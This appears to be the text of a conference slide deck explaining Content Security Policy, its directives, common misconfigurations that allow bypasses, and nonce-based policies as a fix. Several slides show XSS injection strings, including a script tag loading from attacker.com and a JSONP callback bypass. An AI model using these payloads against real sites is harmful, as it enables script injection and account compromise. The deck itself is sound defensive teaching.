Slide 1

Slide 1 text

Saturday day live with CSP by Artur Hil

Slide 2

Slide 2 text

What the hell is this? Content Security Policy (CSP) is a computer security standard introduced to prevent cross-site scripting (XSS), clickjacking and other code injection attacks resulting from execution of malicious content in the trusted web page context.

Slide 3

Slide 3 text

Yay! We don’t need any input validation now! to prevent XSS clickjacking code injection attacks

Slide 4

Slide 4 text

Actually, NO CSP provides a standard method for website owners to declare approved origins of content that browsers should be allowed to load on that website

Slide 5

Slide 5 text

Ambitious goals of CSP Mitigate risk Control over resources Control over execution Reduce privilege of the application Content is forced into a unique origin Detect exploitation by monitoring violations Collecting violating reports

Slide 6

Slide 6 text

CSP directives… Many for many different problems media-src base-uri font-src plugin-types connect-src base-uri style-src script-src child-src report-to navigate-to form-action sandbox script-src-elem prefetch-src worker-src

Slide 7

Slide 7 text

How it’s look like Bad example:

Slide 8

Slide 8 text

How it’s look like Good example:

Slide 9

Slide 9 text

How does it work? example.com CSP default-src ‘self’; script-src ‘self’ good.com; report-uri /csp_alert_logger; example.com good.com

Slide 10

Slide 10 text

How does it work? example.com CSP default-src ‘self’; script-src ‘self’ good.com; report-uri /csp_alert_logger; example.com good.com “>’><script src=” //attacker.com/evil.js”> “>’><script>alert(balalaya) example.com/csp_alert_logger source not whitelisted inline scripts are not allowed

Slide 11

Slide 11 text

I deployed CSP! Now I’m in safe! Not exactly, trivial mistake #1 script-src ‘self’ ‘unsafe-inline’; object-src ‘none’; ‘unsafe-inline’ in script-src instead of ‘nonce’ Same for ‘default-src’ if script-src directive is not set “>’> alert(12345) Bypass:

Slide 12

Slide 12 text

I deployed CSP! Now I’m in safe! Not exactly trivial mistake #2 script-src ‘self’ https: data: *; object-src ‘none’; URL shhemes or wildcard in script-src instead of ‘unsafe-dynamic’ Same for URL schemes and wildcard in ‘object-src’ “>’> Bypass: “>’>

Slide 13

Slide 13 text

I deployed CSP! Now I’m in safe! Not exactly trivial mistake #3 script-src ‘self’; Look’s secure, but… Missing object-src or default-src directive “>’> Bypass:

Slide 14

Slide 14 text

I deployed CSP! Now I’m in safe! Not exactly trivial mistake #4 script-src ‘self’; object-src ‘none’; Allow ‘self’ + hosting use-provided content on the name origin Same for object-src or default-src directive “>’> Bypass:

Slide 15

Slide 15 text

Whitelisting JSONP is a problem script-src ‘self’ https://whitelisted.com; object-src ‘none’; JSONP-like endpoint in whitelist “>’> Bypass:

Slide 16

Slide 16 text

Whitelisting JSONP is a problem CSP script-src ‘self’ https://whitelisted.com; object-src ‘none’; alert(12345);u({...}) x.click({...}) “>’> “>’><script src=”https://whitelisted.com /jsonp?callback=x.click”> Bypass: Don't whitelist JSONP endpoints!

Slide 17

Slide 17 text

Angular JS library in Whitelist script-src ‘self’ https://whitelisted.com; object-src ‘none’; “>’>
{{2+2}}
“>’>

Slide 18

Slide 18 text

How to make safe CSP https://csp-evaluator.withgoogle.com/

Slide 19

Slide 19 text

How to make safe CSP https://cspvalidator.org

Slide 20

Slide 20 text

Best way to make CSP safe script-src ‘nonce-r4nd0m123’ object-src ‘none’; Benefits: All tags with correct nonce attribute will be executed <script> tags injected via XSS will be blocked because of missing nonce No host/path whitelists! --> NO BYPASSES

Slide 21

Slide 21 text

How does nonce work? example.com CSP default-src ‘self’; script-src ‘self’ nonce-r4and0m123; report-uri /csp_alert_logger; example.com good.com “>’><script src=” //attacker.com/evil.js”> “>’><script>alert(balalaya) example.com/csp_alert_logger script without correct nonce

Slide 22

Slide 22 text

How it’s look like Good example:

Slide 23

Slide 23 text

A New way to make CSP script-src ‘nonce-r4nd0m123’ ‘unsafe-dynamic’; object-src ‘none’; ● nonce-r4nd0m - Allows all scripts to execute if the correct nonce is set. ● unsafe-dynamic - Propagates trust and discards whitelists CSP V.3

Slide 24

Slide 24 text

QUESTIONS?